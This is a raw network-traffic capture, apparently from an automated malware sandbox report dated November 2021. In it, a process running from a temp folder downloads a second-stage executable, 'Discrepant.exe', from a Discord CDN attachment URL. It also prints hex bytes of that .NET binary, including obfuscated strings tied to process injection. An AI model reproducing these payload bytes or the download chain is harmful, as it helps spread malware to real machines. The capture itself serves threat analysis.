x OxK x Kt x OOE x OOk x OxQ x OxY x YY x kt x to x Yo x OoO x tE x KQ x OOo x Yx x OOK x to x Kk x kY x Qx x to x
2021-11-09 21:21:49 UTC	1245	IN	Data Raw: 78 20 6b 52 20 78 20 74 51 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 74 4f 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 4f 4f 45 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 4f 4f 4f 20 78 20 74 78 20 78 20 59 74 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 6b 6f 20 78 20 51 74 20 78 20 4f 4f 4f 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 4b 20 78 20 6b 74 20 78 20 51 78 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 74 6f 20 78 20 74 52 20 78 20 4f Data Ascii: x kR x tQ x RR x Oxt x kk x kk x Oxo x RY x YO x OOO x OoO x Rt x OoO x Kk x Oxk x OxK x RR x tO x OoO x OOY x tk x OOY x OOE x Oxo x kE x OOO x tx x Yt x Qk x OOQ x YY x tK x Kt x ko x Qt x OOO x tR x Oxk x tK x kt x Qx x RY x OOo x Qk x tO x to x tR x O
2021-11-09 21:21:49 UTC	1256	IN	Data Raw: 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 59 4f 20 78 20 59 78 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 74 52 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 45 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 4f 52 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 Data Ascii: x kx x OOK x OxY x OOO x OOK x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY x Eo x EK x EK x YO x Yx x EK x EK x Eo x Kt x Rt x OOO x OxQ x OxQ x Qt x OOx x Oxx x tR x OxY x OOx x OxO x Eo x EK x EK x Eo x Kt x kE x OOR x Qt x OOK x OOR x Rk x OxY x OOK x
2021-11-09 21:21:49 UTC	1272	IN	Data Raw: 4f 6f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 45 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 45 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 6f 20 78 20 51 51 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 52 20 78 20 4f 78 52 20 78 20 4f 78 4b 20 78 20 4f 78 52 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 51 51 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 Data Ascii: OoO x OxR x OOE x OxQ x Oxk x OOY x OxE x OOY x Et x Oxx x Et x Oxk x OOY x Oxo x QQ x OOk x OxO x OxR x OxR x OxK x OxR x OOx x Et x OxY x Et x OOE x OOk x Ooo x OxO x OOk x OOx x Et x QQ x Et x OxQ x Oxk x OOR x OOk x OxY x OOE x OxR x Oxk x Oxx x OxO x
2021-11-09 21:21:49 UTC	1288	IN	Data Raw: 59 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 4f 6f 6f 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 59 20 78 20 4f 78 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 78 59 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 51 6b 20 78 20 45 74 20 78 Data Ascii: Y x Oxk x OOY x Oxt x Qk x OOx x Et x OxY x Et x OxY x Ooo x OOO x OOx x Oxx x Et x OOY x Et x OOo x OOk x OOk x OxY x Oxx x Qk x OOx x Oxx x OxE x OxE x Et x Qt x Et x OOY x OOR x OxY x OOK x OoO x Ooo x OxR x OOk x OOk x OxO x Oxx x OOx x Et x Qk x Et x
2021-11-09 21:21:49 UTC	1304	IN	Data Raw: 20 78 20 6b 6f 20 78 20 4f 4f 74 20 78 20 4f 4f 78 20 78 20 78 20 6b 59 20 6b 45 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 51 6f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 51 6f 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 51 6f 20 78 20 4f 4f 59 20 78 20 4f 78 4b 20 78 20 4f 78 4f 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 51 6f 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 4f 4f Data Ascii: x ko x OOt x OOx x x kY kE x OOO x Oxo x OOR x OOQ x Qt x OOK x OxO x Qo x Rt x Oxk x Qt x OOY x OOY x OxO x OOY x Qo x tx x OOO x Oxk x Oxx x OxO x OOK x Qo x OOY x OxK x OxO x Oxk x Oxk x Qo x OOO x OOo x OxO x OOx x Qo x QQ x OOO x OxQ x OxQ x Qt x OO
2021-11-09 21:21:49 UTC	1320	IN	Data Raw: 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 51 74 20 78 20 4f 78 51 20 78 20 4f 78 4f 20 78 20 52 4f 20 78 20 45 4b 20 78 20 52 74 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 4f 6f 20 78 20 6b 52 20 78 20 6b 78 20 78 20 74 6b 20 78 20 45 4b 20 78 20 4f 45 20 78 20 4f 78 20 78 20 4f 45 20 78 20 4f 78 20 78 20 78 20 59 51 20 51 51 20 78 20 59 6b 20 78 20 51 6f 20 78 20 4f 4f 51 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 51 6f 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 59 4f 20 78 20 59 78 20 78 20 51 6f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 Data Ascii: x OOk x QQ x tk x Qt x OxQ x OxO x RO x EK x Rt x OOO x OOK x OOo x kR x kx x tk x EK x OE x Ox x OE x Ox x x YQ QQ x Yk x Qo x OOQ x OxY x OOx x Oxx x OOO x OOQ x OOY x Qo x OOY x OoO x OOY x OOR x OxO x OxQ x YO x Yx x Qo x QQ x OxQ x OOY x OOR x OOo x
2021-11-09 21:21:49 UTC	1336	IN	Data Raw: 45 20 52 6f 20 4f 45 20 4f 78 20 4f 45 20 4f 78 20 52 78 20 51 74 20 4f 4f 59 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 51 6b 20 4f 78 6b 20 4f 6f 4f 20 45 6f 20 4f 6f 78 20 4f 78 51 20 4f 78 6b 20 4f 4f 78 20 4f 4f 59 20 52 4f 20 45 4b 20 4f 4f 74 20 4f 4f 4b 20 4f 4f 78 20 59 6b 20 4f 4f 59 20 51 51 20 4f 78 4b 20 4f 78 4f 20 4f 78 51 20 51 74 20 4f 4f 59 20 4b 59 20 4f 78 51 20 4f 78 59 20 51 51 20 4f 4f 4b 20 4f 4f 4f 20 4f 4f 59 20 4f 4f 4f 20 4f 78 6f 20 4f 4f 52 20 4b 59 20 51 51 20 4f 4f 4f 20 4f 78 51 20 59 6b 20 51 74 20 4f 4f 59 20 4f 78 51 20 4b 52 20 4f 4f 6b 20 4b 51 20 45 4b 20 45 6f 20 4f 78 51 20 51 74 20 4f 4f 78 20 4f 78 59 20 4f 78 6f 20 4f 78 4f 20 4f 4f 59 20 4f 4f 52 20 6b 52 20 4f 78 4f 20 4f 4f 4b 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f Data Ascii: E Ro OE Ox OE Ox Rx Qt OOY OOY OxO OxQ Qk Oxk OoO Eo Oox OxQ Oxk OOx OOY RO EK OOt OOK OOx Yk OOY QQ OxK OxO OxQ Qt OOY KY OxQ OxY QQ OOK OOO OOY OOO Oxo OOR KY QQ OOO OxQ Yk Qt OOY OxQ KR OOk KQ EK Eo OxQ Qt OOx OxY Oxo OxO OOY OOR kR OxO OOK OOY OxY OOO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49880	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-09 21:22:01 UTC	1339	OUT	GET /attachments/906160963437363273/906989761716187247/Discrepant.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-11-09 21:22:01 UTC	1340	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:22:01 GMT Content-Type: application/x-msdos-program Content-Length: 399872 Connection: close CF-Ray: 6aba18169a4b4ab0-FRA Accept-Ranges: bytes Age: 179054 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Discrepant.exe ETag: "0f289285cadcf1e656016a19789b5637" Expires: Wed, 09 Nov 2022 21:22:01 GMT Last-Modified: Sun, 07 Nov 2021 19:33:30 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1636313610329016 x-goog-hash: crc32c=HtVoYg== x-goog-hash: md5=DyiShcrc8eZWAWoZeJtWNw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 399872 X-GUploader-UploadID: ADPycdu5XvW9lV50x8pecyrCFfc74-MKULQrEtAJQwILwfUMLEoXHwChn9zCDiMGUv1JtpqIvTgHzvWJpWVYFB3NdaaAfJSW-g X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-11-09 21:22:01 UTC	1341	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4e 4b 6e 71 66 5a 72 77 36 55 34 30 6c 44 56 76 53 32 4d 37 6a 49 38 25 32 42 47 32 45 25 32 46 43 42 44 54 6e 53 66 72 55 50 6d 7a 74 41 6f 66 72 41 46 46 46 32 67 44 44 77 55 62 41 68 53 71 4a 36 68 4b 35 48 42 30 6a 42 43 41 73 76 67 4f 25 32 42 67 72 68 31 6c 74 7a 73 59 4d 78 59 77 75 70 68 25 32 46 44 75 45 44 45 37 6d 67 63 51 79 45 58 45 4e 31 77 65 73 75 4f 7a 75 61 73 46 4a 52 44 74 51 58 51 6c 6b 32 62 25 32 42 76 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NKnqfZrw6U40lDVvS2M7jI8%2BG2E%2FCBDTnSfrUPmztAofrAFFF2gDDwUbAhSqJ6hK5HB0jBCAsvgO%2Bgrh1ltzsYMxYwuph%2FDuEDE7mgcQyEXEN1wesuOzuasFJRDtQXQlk2b%2BvQ%3D%3D"}],"group":"cf-nel","max_a
2021-11-09 21:22:01 UTC	1341	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b8 11 fa 9a 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 12 06 00 00 06 00 00 00 00 00 00 1e 30 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL00 @@ @
2021-11-09 21:22:01 UTC	1342	IN	Data Raw: 00 00 61 00 30 91 00 06 0b 00 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00 01 1e 02 6f 25 00 00 0a 2a 1a 7e 06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 0a 02 7e 09 00 00 04 3a 24 00 00 00 16 d0 04 00 00 1b 28 0e 00 00 0a d0 09 00 00 02 28 0e 00 00 0a 28 15 00 00 0a 28 26 00 00 0a 80 09 00 00 04 7e 09 00 00 04 7b 27 00 00 0a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 68 0b 00 70 14 d0 09 00 00 02 28 0e 00 00 0a 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2a 00 00 0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 0a 7e 08 00 00 04 02 03 6f 2c Data Ascii: a0a0$o%~2({"}0(~:$((((&~{'~~::rhp(&%((%((()(~{+~o,
2021-11-09 21:22:01 UTC	1344	IN	Data Raw: 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b 00 10 00 7d 15 00 00 04 11 10 13 08 17 8d 01 00 00 01 25 16 72 9a 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09 02 7b 01 00 00 04 6f 51 00 00 06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 e0 13 11 38 0b 00 00 00 11 12 16 8f 0d 00 00 01 e0 13 11 11 11 28 07 00 00 0a 13 05 11 11 0b 11 11 07 7b 19 00 00 04 e0 58 0c 14 13 12 07 7b 18 00 00 04 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 0a fe 15 22 00 00 02 12 0a 11 0a 8c 22 00 00 02 28 08 00 00 0a 7d 2a 00 00 04 12 0a 16 7d Data Ascii: p(s! }%rp(s{oQ%9i:8({X{ MZ@{ PE;\|{ ;{oQ ""(}*}
2021-11-09 21:22:01 UTC	1345	IN	Data Raw: 0b 1e 28 11 00 00 0a 38 12 00 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 33 05 00 70 16 28 08 00 00 06 6f 07 00 00 2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e 1e 6a 58 28 09 00 00 0a 11 0b 1a 7e 06 00 00 0a 6f 25 00 00 06 3a 6b 00 00 00 11 0b 28 12 00 00 0a 11 06 72 e0 01 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07 7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16 2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 0c 11 0f 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00 00 11 06 72 38 07 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11 Data Ascii: (8X Ci?r3p(o+{&{njX(~o%:k(rp(o+{&o)9@rp(o+{&o-&rp(o+{'o-&*(\|{nXm}9r8p(o+
2021-11-09 21:22:01 UTC	1346	IN	Data Raw: 00 13 00 1b 00 81 01 10 00 1a 01 2c 01 05 00 14 00 1f 00 02 01 00 00 44 01 00 00 09 00 15 00 20 00 02 01 00 00 67 01 00 00 09 00 15 00 24 00 02 01 00 00 72 01 00 00 09 00 15 00 28 00 02 01 00 00 86 01 00 00 09 00 15 00 2c 00 02 01 00 00 8a 01 00 00 09 00 15 00 30 00 02 01 00 00 9c 01 00 00 09 00 15 00 34 00 02 01 00 00 af 01 00 00 09 00 15 00 38 00 02 01 00 00 c5 01 00 00 09 00 15 00 3c 00 02 01 00 00 d9 01 00 00 09 00 15 00 40 00 02 01 00 00 e9 01 00 00 09 00 15 00 44 00 02 01 00 00 ee 01 00 00 09 00 15 00 48 00 02 01 00 00 0a 02 00 00 09 00 15 00 4c 00 11 01 10 00 13 02 05 01 0d 00 15 00 50 00 11 01 10 00 2f 02 05 01 0d 00 18 00 50 00 11 01 10 00 43 02 2a 00 0d 00 1a 00 50 00 11 01 10 00 56 02 2c 01 0d 00 1b 00 50 00 11 01 10 00 6b 02 2c 01 0d 00 1e 00 Data Ascii: ,D g$r(,048<@DHLP/PC*PV,Pk,
2021-11-09 21:22:01 UTC	1348	IN	Data Raw: 03 00 86 18 11 03 cc 00 4a 00 00 00 00 00 03 00 c6 01 60 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 57 09 a5 04 59 00 00 00 00 00 03 00 c6 01 8e 09 c1 04 67 00 00 00 00 00 03 00 86 18 11 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 60 03 d0 04 6d 00 00 00 00 00 03 00 c6 01 57 09 d8 04 70 00 00 00 00 00 03 00 c6 01 8e 09 62 04 74 00 00 00 00 00 03 00 86 18 11 03 cc 00 76 00 00 00 00 00 03 00 c6 01 60 03 d0 04 78 00 00 00 00 00 03 00 c6 01 57 09 d8 04 7b 00 00 00 00 00 03 00 c6 01 8e 09 62 04 7f 00 00 00 00 00 03 00 86 18 11 03 cc 00 81 00 00 00 00 00 03 00 c6 01 60 03 e6 04 83 00 00 00 00 00 03 00 c6 01 57 09 ec 04 85 00 00 00 00 00 03 00 c6 01 8e 09 f8 04 89 00 00 00 00 00 03 00 86 18 11 03 cc 00 8a 00 00 00 00 00 03 00 c6 01 60 03 ff 04 8c 00 00 00 00 00 03 00 c6 Data Ascii: J`LWYgk`mWpbtv`xW{b`W`
2021-11-09 21:22:01 UTC	1349	IN	Data Raw: 00 03 00 3c 0b 00 00 04 00 45 0b 00 00 05 00 50 0b 00 00 06 00 5f 0b 00 00 07 00 7e 09 00 00 08 00 87 09 00 00 01 00 30 0b 00 00 02 00 45 0b 00 00 03 00 98 09 00 00 01 00 ec 02 00 00 02 00 67 0b 00 20 01 00 02 0b 00 20 01 00 02 0b 00 00 02 00 7e 09 00 00 03 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 02 00 6b 0b 00 00 01 00 7e 09 00 00 02 00 87 09 00 00 01 00 98 09 00 00 01 00 3e 09 00 00 02 00 13 0b 00 00 01 00 73 0b 00 00 02 00 78 0b 00 00 01 00 73 0b 00 00 02 00 78 0b 00 00 03 00 7e 09 00 00 04 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 01 00 ec 02 31 00 11 03 b0 00 0c 00 11 03 cc 00 0c 00 60 03 d2 00 59 00 11 03 d7 00 09 00 11 03 d7 00 51 00 d8 03 10 01 51 00 dd 03 13 01 89 00 f1 03 19 01 51 00 dd 03 1e 01 91 00 19 04 28 01 51 00 2c 04 Data Ascii: <EP_~0Eg ~k~>sxsx~1`YQQQ(Q,
2021-11-09 21:22:01 UTC	1350	IN	Data Raw: 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 00 00 04 00 39 00 ee 08 38 00 23 01 38 00 32 01 38 00 37 01 38 00 41 01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02 38 00 4f 02 00 44 69 73 63 72 65 70 61 6e 74 00 44 69 73 63 72 65 70 61 6e 74 2e 65 78 65 00 3c 4d 6f 64 75 6c 65 3e 00 53 74 61 74 65 00 44 69 73 63 72 65 70 61 6e 74 2e 41 6e 6e 6f 74 61 74 69 6f 6e 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6f 72 6c 69 62 00 53 65 72 69 61 6c 69 7a 65 72 00 44 69 73 63 72 65 70 61 6e 74 2e 50 72 6f 64 75 63 65 72 73 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 5f 30 00 43 6f 6e 74 61 69 6e 65 72 00 44 69 73 63 72 65 70 61 6e 74 2e 43 6f 6d 6d 6f 6e 00 4f 62 73 65 72 76 65 72 Data Ascii: %$98#82878A8F8K8P8f8~88J8ODiscrepantDiscrepant.exe<Module>StateDiscrepant.AnnotationsObjectSystemmscorlibSerializerDiscrepant.Producers<>c__DisplayClass2_0ContainerDiscrepant.CommonObserver
2021-11-09 21:22:01 UTC	1352	IN	Data Raw: 61 74 65 00 72 65 66 65 72 65 6e 63 65 00 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 00 43 61 6c 6c 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e 64 65 72 46 6c 61 67 73 00 43 61 6c 6c 53 69 74 65 60 31 00 46 75 6e 63 60 33 00 43 61 6c 6c 53 69 74 65 00 43 72 65 61 74 65 00 54 61 72 67 65 74 00 54 6f 43 68 61 72 41 72 72 61 79 00 43 68 61 72 00 52 65 66 6c 65 63 74 53 74 61 74 65 00 67 65 74 5f 4c 65 6e 67 74 68 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 Data Ascii: atereferenceBinderMicrosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSystem.CoreCSharpBinderFlagsCallSite`1Func`3CallSiteCreateTargetToCharArrayCharReflectStateget_LengthFromBase64CharArray
2021-11-09 21:22:01 UTC	1353	IN	Data Raw: 75 74 65 73 00 62 49 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6c 61 67 73 00 6c 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6c 70 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6c 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6c 70 50 72 6f 63 65 73 74 6e 65 6d 65 6c 45 73 74 75 6f 65 6d 69 54 74 73 6f 48 6e 6f 69 74 61 72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 36 34 30 38 00 68 4e 65 77 54 6f 6b 65 6e 00 68 54 68 72 65 61 64 00 70 43 6f 6e 74 65 78 74 00 73 65 6c 65 63 74 69 6f 6e 00 63 75 73 74 00 50 72 6f 63 65 73 73 48 61 6e 64 6c 65 00 42 61 73 65 41 64 64 72 65 73 73 00 5a 65 72 6f 42 69 74 73 00 52 65 67 69 6f 6e 53 69 7a 65 00 41 6c 6c 6f 63 61 74 69 6f 6e 54 79 70 65 00 50 72 6f 74 Data Ascii: utesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcestnemelEstuoemiTtsoHnoitarugifnoCledoMecivreSmetsyS26408hNewTokenhThreadpContextselectioncustProcessHandleBaseAddressZeroBitsRegionSizeAllocationTypeProt
2021-11-09 21:22:01 UTC	1354	IN	Data Raw: 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 00 38 00 39 00 36 00 31 00 45 00 41 00 65 00 50 00 41 00 4d 00 31 00 41 00 7a 00 51 00 78 00 43 00 52 00 6f 00 47 00 50 00 46 00 38 00 6c 00 4c 00 6a 00 4e 00 71 00 41 00 53 00 51 00 38 00 49 00 78 00 63 00 70 00 45 00 67 00 67 00 72 00 41 00 41 00 49 00 6e 00 5a 00 31 00 41 00 3d 00 00 80 a5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 Data Ascii: pcTxeMnoitarugifnoCledoMecivreSmetsyS38961EAePAM1AzQxCRoGPF8lLjNqASQ8IxcpEggrAAInZ1A=OEgnidniBpcTxeMnoitarugifnoCledoMecivreSm
